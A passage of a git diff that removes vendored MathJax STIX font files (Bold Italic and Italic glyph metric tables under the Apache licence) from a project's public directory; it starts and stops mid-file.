4,0,360,-21,417],639:[484,0,338,10,292],640:[464,0,498,8,515],641:[464,0,498,8,597],642:[462,218,389,-32,333],643:[683,233,424,-104,584],644:[683,207,394,-90,576],645:[470,233,415,79,344],646:[683,243,521,-40,641],647:[513,90,310,7,299],648:[594,233,311,-60,281],649:[462,9,556,-16,514],650:[452,8,500,15,552],651:[462,10,534,18,492],652:[462,13,444,15,401],653:[462,13,667,15,614],654:[667,0,444,16,502],655:[464,0,633,65,606],656:[449,218,440,-24,405],657:[449,97,411,-24,376],658:[450,236,499,-10,558],659:[450,307,499,-10,528],660:[685,0,530,25,520],661:[685,0,530,65,509],662:[669,14,487,25,453],663:[462,237,479,20,544],664:[680,17,723,13,734],665:[464,0,493,-10,486],666:[475,14,465,16,504],667:[538,11,580,29,690],668:[464,0,582,21,676],669:[685,233,475,-50,463],670:[457,250,500,22,528],671:[464,0,485,10,468],672:[582,205,488,1,674],673:[685,0,530,25,520],674:[685,0,530,65,507],675:[699,13,750,-21,735],676:[699,236,820,-21,813],677:[699,97,817,-21,743],678:[594,13,560,-3,524],679:[683,233,453,-30,670],680:[594,18,600,-3,618]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/IPAExtensions.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Latin1Supplement.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Latin1Supplement.js
deleted file mode 100644
index f9e62c8e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{160:[0,0,250,0,0],161:[494,205,389,19,320],162:[576,143,500,42,439],163:[683,12,500,-32,510],164:[542,10,500,-26,526],165:[669,0,500,33,628],166:[685,18,220,66,154],167:[685,143,500,36,459],168:[655,-525,333,55,397],169:[685,18,747,30,718],170:[685,-399,266,16,330],171:[415,-32,500,12,468],172:[399,-108,606,51,555],173:[282,-166,333,2,271],174:[685,18,747,30,718],175:[623,-553,333,51,393],176:[688,-402,400,83,369],177:[568,0,570,33,537],178:[683,-274,300,2,313],179:[683,-265,300,17,321],180:[697,-516,333,139,379],181:[449,207,576,-60,516],182:[669,193,617,60,679],183:[405,-257,250,51,199],184:[5,218,333,-80,156],185:[683,-274,300,30,301],186:[685,-400,300,56,347],187:[415,-32,500,12,468],188:[683,14,750,7,721],189:[683,14,750,-9,723],190:[683,14,750,7,726],191:[492,205,500,30,421],192:[947,0,667,-68,593],193:[947,0,667,-68,593],194:[940,0,667,-68,593],195:[905,0,667,-68,612],196:[905,0,667,-68,599],197:[1004,0,667,-68,593],198:[669,0,944,-64,918],199:[685,218,667,32,677],200:[947,0,667,-27,653],201:[947,0,667,-27,653],202:[940,0,667,-27,653],203:[905,0,667,-27,653],204:[947,0,389,-32,406],205:[947,0,389,-32,440],206:[940,0,389,-32,469],207:[905,0,389,-32,480],208:[669,0,722,-31,700],209:[905,15,722,-27,748],210:[947,18,722,27,691],211:[947,18,722,27,691],212:[940,18,722,27,691],213:[905,18,722,27,691],214:[905,18,722,27,691],215:[490,-16,570,48,522],216:[764,125,722,27,691],217:[947,18,722,67,744],218:[947,18,722,67,744],219:[940,18,722,67,744],220:[905,18,722,67,744],221:[947,0,611,71,659],222:[669,0,611,-27,573],223:[705,200,500,-200,473],224:[697,14,500,-21,456],225:[697,14,500,-21,456],226:[690,14,500,-21,475],227:[655,14,500,-21,497],228:[655,14,500,-21,485],229:[756,14,500,-21,456],230:[462,13,722,-5,673],231:[462,218,444,-24,392],232:[697,13,444,5,398],233:[697,13,444,5,419],234:[690,13,444,5,462],235:[655,13,444,5,470],236:[697,9,278,2,294],237:[697,9,278,2,310],238:[690,9,278,2,353],239:[655,9,278,2,362],240:[699,13,500,-3,454],241:[655,9,556,-6,507],242:[697,13,500,-3,441],243:[697,13,500,-3,441],244:[690,13,500,-3,462],245:[655,13,500,-3,485],246:[655,13,500,-3,470],247:[535,29,570,33,537],248:[560,119,500,-3,441],249:[697,9,556,15,493],250:[697,9,556,15,493],251:[690,9,556,15,493],252:[655,9,556,15,493],253:[697,205,444,-94,401],254:[699,205,500,-120,446],255:[655,205,444,-94,460]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/Latin1Supplement.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedA.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedA.js
deleted file mode 100644
index 1369982c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{256:[793,0,667,-68,593],257:[586,14,500,-21,486],258:[885,0,667,-68,593],259:[678,14,500,-21,483],260:[683,173,667,-68,640],261:[462,173,500,-21,507],262:[904,18,667,32,677],263:[697,13,444,-5,392],264:[897,18,667,32,677],265:[690,13,444,-5,415],266:[862,18,667,32,677],267:[655,13,444,-5,392],268:[897,18,667,32,677],269:[690,13,444,-5,437],270:[897,0,722,-46,685],271:[710,13,658,-21,726],272:[669,0,722,-31,700],273:[699,13,500,-21,541],274:[793,0,667,-27,653],275:[586,13,444,5,431],276:[885,0,667,-27,653],277:[678,13,444,5,478],278:[862,0,667,-27,653],279:[655,13,444,5,398],280:[669,182,667,-27,653],281:[462,182,444,5,398],282:[897,0,667,-27,653],283:[690,13,444,5,486],284:[897,18,722,21,705],285:[690,203,500,-52,477],286:[885,18,722,21,705],287:[678,203,500,-52,477],288:[862,18,722,21,705],289:[655,203,500,-52,477],290:[685,359,722,21,705],291:[832,203,500,-52,477],292:[897,0,778,-24,799],293:[897,9,556,-13,498],294:[669,0,778,-24,800],295:[699,9,556,-13,498],296:[862,0,389,-32,470],297:[655,9,278,-9,350],298:[793,0,389,-32,451],299:[586,9,278,-11,331],300:[885,0,389,-32,458],301:[678,9,278,2,328],302:[669,173,389,-32,406],303:[684,173,278,2,262],304:[862,0,389,-32,406],305:[462,9,278,2,238],306:[669,99,823,-32,913],307:[685,207,552,2,544],308:[897,99,500,-46,554],309:[690,207,278,-189,314],310:[669,359,667,-21,702],311:[699,359,500,-23,483],312:[470,0,600,6,689],313:[904,0,611,-22,590],314:[904,9,278,2,344],315:[669,359,611,-22,590],316:[699,359,278,-62,290],317:[685,0,611,-22,667],318:[710,9,451,2,499],319:[669,0,611,-22,590],320:[699,9,375,2,382],321:[669,0,611,-22,590],322:[699,9,278,-13,301],323:[904,15,722,-27,748],324:[697,9,556,-6,494],325:[669,359,722,-27,748],326:[462,359,556,-6,494],327:[897,15,722,-27,748],328:[690,9,556,-6,506],329:[710,9,700,42,657],330:[669,203,722,-46,685],331:[462,207,543,-6,474],332:[793,18,722,27,691],333:[586,13,500,-3,461],334:[885,18,722,27,691],335:[678,13,500,-3,488],336:[904,18,722,27,700],337:[697,13,500,-3,519],338:[677,8,944,23,946],339:[462,13,722,6,674],340:[904,0,667,-28,623],341:[697,0,389,-21,389],342:[669,359,667,-28,623],343:[462,359,389,-102,389],344:[897,0,667,-28,623],345:[690,0,389,-21,411],346:[904,18,556,2,526],347:[697,13,389,-19,379],348:[897,18,556,2,526],349:[690,13,389,-19,367],350:[685,218,556,2,526],351:[462,218,389,-19,333],352:[897,18,556,2,526],353:[690,13,389,-19,411],354:[669,218,611,49,650],355:[594,218,278,-75,289],356:[897,0,611,49,650],357:[710,9,411,-11,499],358:[669,0,611,49,650],359:[594,9,278,-30,281],360:[841,18,722,67,744],361:[655,9,556,15,493],362:[793,18,722,67,744],363:[586,9,556,15,493],364:[885,18,722,67,744],365:[678,9,556,15,493],366:[921,18,722,67,744],367:[729,9,556,15,493],368:[889,18,722,67,744],369:[697,9,556,15,527],370:[669,173,722,67,744],371:[462,173,556,15,531],372:[897,18,889,64,940],373:[690,13,667,15,614],374:[897,0,611,71,659],375:[690,205,444,-94,393],376:[862,0,611,71,659],377:[904,0,611,-12,589],378:[697,78,389,-43,379],379:[862,0,611,-12,589],380:[655,78,389,-43,368],381:[897,0,611,-12,589],382:[690,78,389,-43,411],383:[691,0,333,14,536]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/LatinExtendedA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedAdditional.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedAdditional.js
deleted file mode 100644
index 2e90d2c5..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedAdditional.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedAdditional.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{7808:[904,18,889,64,940],7809:[697,13,667,15,614],7810:[904,18,889,64,940],7811:[697,13,667,15,614],7812:[862,18,889,64,940],7813:[655,13,667,15,614],7922:[904,0,611,71,659],7923:[697,205,444,-94,392]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/LatinExtendedAdditional.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedB.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedB.js
deleted file mode 100644
index 881f2770..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{384:[699,13,500,-14,444],392:[576,13,560,-5,627],400:[686,4,512,54,676],402:[707,156,500,-87,537],405:[699,10,735,-13,692],409:[691,8,500,-23,483],410:[699,9,278,2,290],411:[666,0,480,16,452],414:[462,205,536,-6,474],416:[716,18,722,27,806],417:[507,13,537,24,595],421:[673,205,520,-100,466],426:[684,233,400,46,380],427:[594,218,286,-49,289],429:[691,9,360,-3,450],431:[803,18,775,67,893],432:[583,9,556,15,656],442:[450,237,496,-52,458],443:[683,0,500,-27,469],446:[541,10,500,37,463],448:[740,0,208,14,278],449:[740,0,345,14,415],450:[740,0,368,14,438],451:[684,13,300,45,355],496:[690,207,350,-104,474],506:[972,0,667,-68,593],507:[909,14,500,-21,456],508:[904,0,944,-64,918],509:[697,13,722,-5,673],510:[904,125,722,27,691],511:[697,119,500,-3,441],567:[462,207,278,-189,239]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/LatinExtendedB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LetterlikeSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LetterlikeSymbols.js
deleted file mode 100644
index 82b9ae1e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{8450:[685,14,713,35,704],8453:[683,14,847,52,795],8458:[462,224,819,27,771],8459:[699,21,1171,65,1154],8461:[669,0,773,21,808],8464:[699,21,997,47,977],8466:[699,21,1036,40,1015],8467:[699,14,500,43,632],8469:[669,0,760,27,783],8470:[675,15,1055,24,1031],8473:[669,0,497,18,715],8474:[685,74,754,35,734],8475:[699,21,1048,55,973],8477:[669,0,727,18,718],8482:[676,-271,1000,24,977],8484:[669,0,807,23,837],8492:[699,21,1060,55,985],8495:[462,14,726,35,648],8496:[699,21,826,95,791],8497:[699,21,1042,65,1025],8499:[699,21,1300,60,1245],8500:[462,14,848,35,780],8508:[449,13,730,32,715],8511:[669,0,796,35,821],8517:[669,0,748,18,733],8518:[699,13,633,45,698],8519:[462,13,575,45,540],8520:[669,0,379,40,413],8521:[669,205,421,-93,455]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Main.js
deleted file mode 100644
index 3dcee94a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"]={directory:"General/BoldItalic",family:"STIXGeneral",weight:"bold",style:"italic",Ranges:[[0,127,"BasicLatin"],[160,255,"Latin1Supplement"],[256,383,"LatinExtendedA"],[384,591,"LatinExtendedB"],[592,687,"IPAExtensions"],[688,767,"SpacingModLetters"],[880,1023,"GreekAndCoptic"],[1024,1279,"Cyrillic"],[7680,7935,"LatinExtendedAdditional"],[8192,8303,"GeneralPunctuation"],[8352,8399,"CurrencySymbols"],[8400,8447,"CombDiactForSymbols"],[8448,8527,"LetterlikeSymbols"],[8704,8959,"MathOperators"],[9216,9279,"ControlPictures"],[9312,9471,"EnclosedAlphanum"],[9472,9599,"BoxDrawing"],[64256,64335,"AlphaPresentForms"],[119912,119963,"MathBoldItalic"],[120016,120067,"MathBoldScript"],[120380,120431,"MathSSItalicBold"],[120604,120661,"GreekBoldItalic"],[120720,120777,"GreekSSBoldItalic"]]};MathJax.OutputJax["HTML-CSS"].initFont("STIXGeneral-bold-italic");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathBoldItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathBoldItalic.js
deleted file mode 100644
index 3b025f00..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathBoldItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathBoldItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{119912:[685,0,759,39,724],119913:[669,0,726,42,715],119914:[685,12,701,55,745],119915:[669,0,818,42,790],119916:[669,0,732,42,754],119917:[669,0,635,44,750],119918:[685,12,768,55,768],119919:[669,0,891,42,946],119920:[669,0,502,42,557],119921:[669,12,558,66,646],119922:[669,0,795,42,839],119923:[669,0,744,42,700],119924:[669,0,1016,42,1071],119925:[669,0,869,42,924],119926:[685,16,777,55,755],119927:[669,0,612,42,733],119928:[685,154,810,55,756],119929:[669,0,801,42,784],119930:[685,10,671,55,704],119931:[669,0,568,28,700],119932:[669,10,733,72,810],119933:[669,15,593,66,797],119934:[669,17,925,66,1129],119935:[669,0,808,28,830],119936:[669,0,549,39,725],119937:[669,0,797,66,830],119938:[462,10,581,44,548],119939:[685,8,509,50,487],119940:[462,10,477,44,460],119941:[685,14,595,44,589],119942:[462,10,498,44,459],119943:[685,207,572,44,632],119944:[462,203,527,22,527],119945:[685,10,576,50,543],119946:[620,9,357,55,300],119947:[620,207,431,-18,414],119948:[685,11,580,55,563],119949:[685,9,346,50,310],119950:[467,9,760,33,727],119951:[467,10,559,33,526],119952:[462,10,561,44,539],119953:[469,205,571,-33,554],119954:[462,205,526,44,532],119955:[467,0,441,33,424],119956:[462,11,474,55,419],119957:[592,10,351,44,318],119958:[463,10,535,33,502],119959:[473,14,554,52,539],119960:[473,14,814,52,799],119961:[462,8,587,33,543],119962:[462,205,519,35,522],119963:[462,19,531,35,499]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/MathBoldItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathBoldScript.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathBoldScript.js
deleted file mode 100644
index 56f3954c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathBoldScript.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathBoldScript.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{120016:[699,21,984,50,955],120017:[699,21,1060,55,985],120018:[699,21,912,60,877],120019:[699,21,991,60,906],120020:[699,21,826,95,791],120021:[699,21,1042,65,1025],120022:[699,21,834,82,799],120023:[699,21,1171,65,1154],120024:[699,21,997,47,977],120025:[699,224,906,19,886],120026:[699,21,1154,45,1130],120027:[699,21,1036,40,1015],120028:[699,21,1300,60,1245],120029:[699,21,1095,60,1078],120030:[699,21,809,72,749],120031:[699,21,1025,55,994],120032:[699,52,809,72,749],120033:[699,21,1048,55,973],120034:[699,21,816,81,781],120035:[699,21,1030,65,1025],120036:[699,21,964,60,904],120037:[699,21,1040,60,1024],120038:[699,21,1320,60,1306],120039:[699,21,1033,64,1010],120040:[699,224,989,60,963],120041:[699,21,996,50,976],120042:[462,14,942,35,865],120043:[699,14,646,60,624],120044:[462,14,764,35,683],120045:[699,14,949,28,912],120046:[462,14,726,35,648],120047:[699,205,768,25,749],120048:[462,224,819,27,771],120049:[699,14,838,55,758],120050:[698,14,558,40,534],120051:[698,224,840,41,823],120052:[699,14,810,55,730],120053:[699,14,650,43,632],120054:[462,14,1137,45,1057],120055:[462,14,851,45,771],120056:[462,14,848,35,780],120057:[462,205,885,25,770],120058:[462,205,913,35,833],120059:[462,0,677,40,648],120060:[557,14,562,51,449],120061:[669,14,618,47,612],120062:[449,14,842,31,762],120063:[458,14,732,40,670],120064:[458,14,1012,40,950],120065:[462,14,820,63,740],120066:[449,224,784,40,711],120067:[493,14,782,61,702]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/MathBoldScript.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathOperators.js
deleted file mode 100644
index aef8170d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{8706:[686,10,559,44,559],8722:[297,-209,606,51,555]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/MathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathSSItalicBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathSSItalicBold.js
deleted file mode 100644
index a1eb0706..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathSSItalicBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/MathSSItalicBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{120380:[690,0,690,25,665],120381:[676,0,636,80,691],120382:[691,19,723,119,797],120383:[676,0,709,80,772],120384:[676,0,635,80,728],120385:[676,0,582,80,725],120386:[691,19,746,107,785],120387:[676,0,715,80,803],120388:[676,0,440,79,534],120389:[676,96,481,15,574],120390:[676,0,712,80,816],120391:[676,0,603,80,612],120392:[676,0,913,80,1001],120393:[676,18,724,80,812],120394:[692,18,778,106,840],120395:[676,0,581,80,695],120396:[691,176,779,105,839],120397:[676,0,670,80,698],120398:[691,19,554,66,637],120399:[676,0,641,157,785],120400:[676,19,699,123,792],120401:[676,18,690,193,833],120402:[676,15,997,198,1135],120403:[676,0,740,40,853],120404:[676,0,694,188,842],120405:[676,0,653,25,769],120406:[473,14,489,48,507],120407:[676,13,512,51,558],120408:[473,14,462,71,524],120409:[676,14,518,69,625],120410:[473,13,452,71,492],120411:[692,0,340,72,533],120412:[473,206,504,2,599],120413:[676,0,510,55,542],120414:[688,0,245,59,366],120415:[688,202,324,-90,440],120416:[676,0,519,55,599],120417:[676,0,235,55,348],120418:[473,0,776,55,809],120419:[473,0,510,55,542],120420:[473,14,501,72,542],120421:[473,205,512,3,559],120422:[473,205,512,69,574],120423:[473,0,411,55,519],120424:[473,13,385,37,442],120425:[631,12,386,98,447],120426:[462,15,518,81,569],120427:[462,14,462,129,561],120428:[462,14,701,131,798],120429:[462,0,506,20,582],120430:[462,204,472,-27,569],120431:[462,0,441,21,530]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/MathSSItalicBold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/SpacingModLetters.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/SpacingModLetters.js
deleted file mode 100644
index 0ffb5597..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/BoldItalic/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold-italic"],{688:[852,-328,380,7,365],689:[841,-329,380,7,365],690:[1017,-331,350,24,384],691:[690,-344,389,21,384],692:[690,-344,389,2,365],693:[690,-171,389,2,371],694:[684,-345,390,5,466],695:[690,-331,450,15,467],696:[690,-176,350,11,386],699:[685,-369,333,128,332],704:[690,-240,343,-3,323],705:[690,-240,326,20,364],710:[690,-516,333,40,367],711:[690,-516,333,79,411],728:[678,-516,333,71,387],729:[655,-525,333,163,293],730:[754,-541,333,127,340],731:[44,173,333,-40,189],732:[655,-536,333,48,407],733:[697,-516,333,69,498],736:[684,-190,379,14,423],737:[857,-329,222,2,217],738:[690,-331,280,8,274],739:[690,-335,389,3,387],740:[849,-329,328,9,364],748:[70,167,314,5,309],749:[720,-528,395,5,390]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/BoldItalic/SpacingModLetters.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/AlphaPresentForms.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/AlphaPresentForms.js
deleted file mode 100644
index 75da5cd1..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/AlphaPresentForms.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/AlphaPresentForms.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{64256:[678,207,527,-147,673],64257:[681,207,500,-141,481],64258:[682,204,500,-141,518],64259:[681,207,744,-147,725],64260:[682,207,745,-147,763]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/AlphaPresentForms.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/BoxDrawing.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/BoxDrawing.js
deleted file mode 100644
index 71327607..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/BoxDrawing.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/BoxDrawing.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{9472:[340,-267,708,-11,719],9474:[910,303,708,317,390],9484:[340,303,708,317,720],9488:[340,303,708,-11,390],9492:[910,-267,708,317,720],9496:[910,-267,708,-11,390],9500:[910,303,708,317,719],9508:[910,303,708,-11,390],9516:[340,303,708,-11,719],9524:[910,-267,708,-11,719],9532:[910,303,708,-11,719],9552:[433,-174,708,-11,719],9553:[910,303,708,225,483],9554:[433,303,708,317,720],9555:[340,303,708,225,720],9556:[433,303,708,225,719],9557:[433,303,708,-11,390],9558:[340,303,708,-11,483],9559:[433,303,708,-11,483],9560:[910,-174,708,317,720],9561:[910,-267,708,225,720],9562:[910,-174,708,225,719],9563:[910,-174,708,-11,390],9564:[910,-267,708,-11,483],9565:[910,-174,708,-11,483],9566:[910,303,708,317,720],9567:[910,303,708,225,720],9568:[910,303,708,225,720],9569:[910,303,708,-11,3